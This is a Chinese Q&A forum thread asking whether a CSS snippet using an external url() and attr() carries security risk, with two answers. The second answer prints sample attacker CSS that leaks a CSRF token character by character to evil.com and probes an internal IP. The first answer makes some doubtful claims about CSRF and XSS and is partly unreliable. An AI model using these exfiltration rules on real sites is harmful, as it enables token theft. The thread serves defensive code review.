前端代码审查时如何判断CSS是否存在安全风险？

极客阳阳提问于 2026-03-18 22:52:20 阅读 66

安全

最近在做Web安全Code Review，看到团队有人写了下面这段CSS，我不确定会不会有安全隐患。CSS一般不执行逻辑，但听说某些写法可能被用来做信息探测或者配合XSS攻击？

.user-card {
  background: url('https://external-cdn.com/theme.css');
  --user-id: attr(data-user-id);
  content: var(--user-id);
}

特别是用了外部URL加载样式和CSS变量读取属性值，这种写法在安全测试中需要重点关注吗？

Web安全测试

我来解答赞 8 收藏

反馈

2 条解答

一奕瑞 Lv1

这段CSS代码确实有一些潜在的安全风险需要关注。首先，外部CDN加载样式文件（background: url('https://external-cdn.com/theme.css')）可能会导致跨站请求伪造（CSRF）或者信息泄露的风险。如果这个CDN不可信或者被劫持，可能会注入恶意代码影响页面行为。

其次，使用attr()函数读取HTML元素的属性值（--user-id: attr(data-user-id)）并将其作为CSS内容展示（content: var(--user-id)）也存在一定的安全隐患。如果data-user-id属性可以被用户控制，这可能会导致反射型XSS攻击。虽然直接通过CSS注入JavaScript是不可能的，但如果用户输入的内容没有经过适当的转义和验证，攻击者可以利用这一点进行一些信息泄露或UI欺骗等攻击。

在安全测试中，你需要检查以下几个方面：

1. 外部资源加载：确保所有外部资源来源可信，并且使用HTTPS协议。
2. 输入验证：对所有用户输入的数据进行严格的验证和清理，避免将未经处理的数据直接用于CSS属性值。
3. 安全头设置：考虑使用Content Security Policy (CSP)来限制哪些资源可以被页面加载和执行。

总之，虽然CSS本身不会执行复杂的逻辑，但不当使用仍然可能导致安全问题。所以在代码审查时，这些细节还是需要仔细检查的。

2026-03-24 16:21

司空浚博 Lv1

这段CSS确实有几个值得注意的点，我来帮你分析一下。

先说结论：外部URL加载样式这块是需要关注的，但代码本身写法有问题。

第一步：看看这段代码的实际行为

.user-card {

  /* 这里有问题：background应该是图片URL，不应该指向.css文件 */

  background: url('https://external-cdn.com/theme.css');

  

  /* CSS变量定义，没安全问题 */

  --user-id: attr(data-user-id);

  

  /* content属性使用var，这里也有问题 */

  content: var(--user-id);

}

background: url('https://external-cdn.com/theme.css') 这种写法浏览器并不会把CSS文件当图片加载，实际上这行基本等于无效。你同事可能是想引用外部样式表，但用错了属性。

第二步：外部URL加载CSS的风险

如果你是想问“加载外部CSS文件有没有风险”，那确实有。攻击者能控制CSS内容时，可以做这些事：

信息探测（CSS Keylogger）

/* 攻击者可以通过属性选择器探测CSRF token */

input[name="csrf"][value^="a"] { background-image: url("https://evil.com/log?char=a"); }

input[name="csrf"][value^="b"] { background-image: url("https://evil.com/log?char=b"); }

/* 逐个字符探测token值 */

内网资源探测

/* 尝试加载内网资源，根据是否404判断端口/服务是否存在 */

div { background-image: url("http://192.168.1.1:8080/admin"); }

样式覆盖进行UI欺骗

/* 覆盖原有样式，修改登录按钮行为 */

.login-btn { background: url("https://evil.com/phishing"); }

第三步：CSS变量和attr()的风险评估

你代码里这两行：

--user-id: attr(data-user-id);

content: var(--user-id);

这个其实问题不大。attr() 函数在content属性中使用是标准用法，用来读取HTML属性值显示在页面上。它本身不会执行JavaScript，也不会直接导致信息泄露。

但要注意：如果 data-user-id 包含用户可控的内容（比如从URL参数传入），且被直接渲染到HTML中，那XSS风险是在HTML层面，不在CSS这层。

总结一下

1. 外部CDN加载CSS — 需要关注，确保CDN可信且使用了HTTPS
2. background指向.css文件 — 这是个bug，不会造成安全问题但也没实际作用
3. attr() + CSS变量 — 本身安全，但要确保数据来源可靠

如果你们确实需要加载外部样式，更安全的做法是用加载，并且确保CDN域名在可信列表中。

2026-03-18 23:03